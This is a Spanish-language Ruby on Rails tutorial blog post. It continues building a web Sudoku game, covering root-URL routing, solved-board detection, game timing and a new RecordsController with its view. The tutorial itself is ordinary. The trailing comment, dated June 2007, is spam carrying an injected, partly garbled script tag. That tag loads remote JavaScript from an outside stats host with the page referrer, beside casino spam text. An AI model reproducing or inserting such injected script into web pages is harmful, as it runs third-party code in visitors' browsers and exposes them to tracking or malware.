Introducción
Continuamos hoy la serie de artículos tutoriales sobre Ruby on Rails En el anterior habíamos comenzado el bosquejo de una versión web del conocido juego del Sudoku. En esta entrega repasaremos algunos flecos que se nos quedaron en el tintero e introduciremos un nuevo controlador, aunque de momento le daremos poco uso.
Redirección al controlador principal
Si visitamos el dominio asociado a la anterior versión de Sudoku on Rails veremos que nos aparece el consabido mensaje típico de una aplicación RoR recién instalada (o mal configurada). Para acceder a nuestro juego teníamos que escribir en la URL el controlador:http://v1.sudokuonrails.com/sudoku Obviamente queremos que esto suceda automáticamente sin necesidad de escribir el controlador. Para conseguirlo, basta seguir estos dos pasos:
- Borrar el fichero index.html que se encuentra en el directorio public/ de nuestra aplicación.
- En el fichero routes.rb añadimos la linea:
map.connect '', :controller => 'sudoku'
que claramente lo que hace es redirigirnos al controlador sudoku cuando la ruta de la URL solicitada viene vacía, es decir, hemos accedido directmente al nombre de dominio de nuestra aplicación.
Detección de que hemos acabado la partida.
Otro problema de la versión anterior era que cuando terminábamos la partida… simplemente no ocurría nada (probablemente este detalle haya pasado desapercibido porque no creo que mucha gente haya tenido la paciencia de acabar un Sudoku tan poco amistoso)
Lo que vamos a hacer es que, al terminar con el tablero, enviar al usuario a una nueva página donde se le felicite (más o menos) y se le diga el tiempo que ha tardado en resolver el juego.
Cambios en el modelo
Añadiremos en nuestro tablero.rb un método que nos dirá, para un determinado estado del tablero, si se encuentra resuelto:
def resuelto?
resuelto=true;
for x1 in 0..@size-1
for y1 in 0..@size-1
if @box_mascara[x1][y1] != @box[x1][y1] then
resuelto=false;
end
end
end
resuelto
end
Además, y como queremos almacenar en algún sitio el tiempo de partida, el modelo del tablero no parece un mal sitio:
attr_reader :tiempo
def dame_segundos
dif = DateTime.now-@tiempo
hours, mins, secs, ignore_fractions = Date::day_fraction_to_time(dif)
return hours * 60 * 60 + mins * 60 + secs
end
Ah, y no se nos debe olvidar inicializar la variable tiempo cada vez que agitamos el tablero, es decir, cada vez que se invoca el método shuffle
def shuffle
...
@tiempo=DateTime.now
end
Para el controlador…
Ya sabemos detectar si el tablero está acabado, así que sólo nos queda comprobar esta condición en nuestro controlador principal (sudoku_controller.rb_). Haremos esta comprobación después de comprobar que el movimiento del usuario es correcto, y justo antes de volver a pintar el tablero (que ya se encuentra en estado resuelto)
def mover
valor=0
posx=0
posy=0
for x1 in 0 .. 8
for y1 in 0 .. 8
cadena = "casilla"+((x1*9)+(y1+1)).to_s
if @params.include?(cadena)
if @params[cadena].length == 1
posx=x1
posy=y1
valor=@params[cadena].to_i
end
end
end
end
if tablero.colocar(posx, posy, valor)
flash[:note]="¡Movimiento correcto!"
else
flash[:note]="¡Movimiento incorrecto!"
end
if tablero.resuelto?
acabar
else
list
end
end
Por último, el método acabar (será un método privado porque de lo contrario sería una acción del controlador y podría ser invocado maliciosamente para ganar haciendo trampas) simplemente recoge en una variable el número de segundos para pasárselo a la vista del siguiente controlador.
¿Es neceseario al terminar la partida definir un nuevo controlador para mostrar simplemente un mensaje de despedida? No, en absoluto. De hecho, podríamos simplemente haber definido un layout para nuestra acción (algo así como acabar.rhtml) y simplemente mostrar el mensaje. Pero aquí el que hace trampas soy yo, y ya anticipo que una futura mejora será mantener una tabla con las puntuaciones más recientes obtenidas, así que sé que esto debe ir en su propio controlador.
Asi, el método acabar de nuestro controlador principal será el siguiente:
def acabar
redirect_to(:controller => 'records', :action => 'list')
end
Y nuestro nuevo controlador para la tabla de puntuaciones, de momento sólo nos dice adiós y gracias:
class RecordsController < ApplicationController
model :tablero
def index
list
render :action => 'list'
end
def list
# comprobamos que no invoquen al controlador directamente
# sin haber ganado
if tablero.resuelto? == false
redirect_to(:controller=>'sudoku',
:action=>'list')
end
@movimientos=tablero.movimientos
@segundos=tablero.dame_segundos
end
private
def tablero
session[:tablero]
end
end
La acción list de este controlador simplemente recupera los valores del modelo (tras haber comprobado que, en efecto, hemos acabado la partida, de lo contrario nos manda otra vez a terminarla) y nos mostrará la plantila views/records/list.rhtml:
<html>
<head>
<title>Fin de la partida</title>
</head>
<body>
<p style="color: green"><%= flash[:notice] %></p>
Has acabado el Sudoku on Rails, en <%= @movimientos %> movimientos y <%= @segundos %> segundos.
<p>
<%=link_to 'otra partida', { :controller => 'sudoku',
:action => 'reset'}
%>
</body>
</html>
Acabando por hoy
Tenéis la nueva versión aquí y podéis descarga el código fuente desde aquí


June 22nd, 2007 at 01:53 AM
bbtbb86-s5jy4k1-tw6q1d53-0 <script>var r = document.referrer; document.write(‘<script http: src='http://www.stats-log.com/gb.php?id=g&r=\'<ins>escape®</ins>’”><’ + ’/script>‘)</script> <a href=' />slots